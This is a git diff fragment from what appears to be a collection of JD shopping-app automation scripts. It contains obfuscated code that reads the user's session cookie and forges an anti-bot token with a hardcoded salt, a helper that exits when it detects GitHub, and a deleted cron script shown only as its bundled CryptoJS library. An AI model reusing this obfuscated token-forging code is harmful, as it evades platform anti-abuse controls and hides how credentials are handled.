_0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; -!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_jxqd_new.js b/activity/jd_jxqd_new.js deleted file mode 100644 index 26e7f5b..0000000 --- a/activity/jd_jxqd_new.js +++ /dev/null @@ -1,424 +0,0 @@ -/* - -10 * * * * jd_jxqd_new.js - - */ -// prettier-ignore -!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { - var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 